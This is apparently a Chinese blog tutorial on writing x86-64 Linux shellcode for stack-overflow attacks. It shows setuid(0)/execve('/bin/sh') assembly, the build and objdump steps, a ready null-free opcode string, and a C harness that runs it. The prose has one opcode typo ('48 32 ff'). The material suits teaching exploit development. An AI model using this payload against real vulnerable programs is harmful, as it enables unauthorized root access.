1. 程式人生 > >棧溢位攻擊系列:shellcode在linux x86 64位攻擊獲得root許可權(二)shellcode

棧溢位攻擊系列:shellcode在linux x86 64位攻擊獲得root許可權(二)shellcode

shellcode 是一組指令opcode, 是可以被程式執行,因為shellcode是要直接操作暫存器和函式,所以opcode 必須是十六進位制的形式。

既然是攻擊,那shellcode 主要的目的是呼叫系統函式,而在x86下 在linux下有兩種方式。

第一種是通過直接呼叫中斷 int 0x80進入核心態,從而達到呼叫目的。

第二種是通過呼叫libc裡syscall(64位)和sysenter(32位)

而目前在64位linux中推薦使用syscall,因為opcode是16進位制的指令集合,可以通過先出彙編程式碼,然後編譯成執行程式碼,最後檢視opcode.

既然我們是想獲得root許可權,而且能夠繼續執行shell, 那麼我們通常會使用下面程式碼(先不討論linux相關的知識)。

shell.c

#include <stdio.h>
int main(){
setuid(0);
execve("/bin/sh",NULL,NULL);
}
而所對應的彙編程式碼如下
global _start

_start:

xor rdi,rdi
xor rax,rax
mov al,0x69
syscall

xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
這並不是通過反彙編shell.c 出來的結果,而是通過參考一些資料所得到的,可以參考點選開啟連結
這個程式碼並不是能夠執行的shellcode ,但是我們可以通過編譯成可執行檔案,而拿到我們需要的opcode
nasm -f elf64 shell.asm   
ld -o shell shell.o
objdump -d shell

注意:在64位下使用使用的elf64 而32位下使用elf32

使用objdump 結果如下:

shell:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:       48 31 ff                xor    %rdi,%rdi
  400083:       48 31 c0                xor    %rax,%rax
  400086:       b0 69                   mov    $0x69,%al
  400088:       0f 05                   syscall
  40008a:       48 31 d2                xor    %rdx,%rdx
  40008d:       48 bb ff 2f 62 69 6e    mov    $0x68732f6e69622fff,%rbx
  400094:       2f 73 68
  400097:       48 c1 eb 08             shr    $0x8,%rbx
  40009b:       53                      push   %rbx
  40009c:       48 89 e7                mov    %rsp,%rdi
  40009f:       48 31 c0                xor    %rax,%rax
  4000a2:       50                      push   %rax
  4000a3:       57                      push   %rdi
  4000a4:       48 89 e6                mov    %rsp,%rsi
  4000a7:       b0 3b                   mov    $0x3b,%al
  4000a9:       0f 05                   syscall
~
OK, 中間的48 32 ff 48 31 c0 就是我們需要的可執行的opcode程式碼
寫程式碼測試我們opcode: 

shelltest.c

#include <stdio.h>
#include <string.h>

char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
gcc -o shelltest shelltest.c
./shelltest

看到執行結果,我們切到了shell 的環境
\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
就是我們想得到的可以執行的shellcode

注意:

並不是所有的可執行的shellcode都是可以被用於攻擊執行的,一來函式未必可以在當前的環境下可被呼叫,二來也是最重要的一點opcode中不允許有/x0出現,為什麼?因為在製造棧溢位的時候,我們利用的是一些危險函式的漏洞,比如strcpy這些函式在呼叫的時候遇到/x0是作為終止符,那麼會導致opcode不能被完整複製。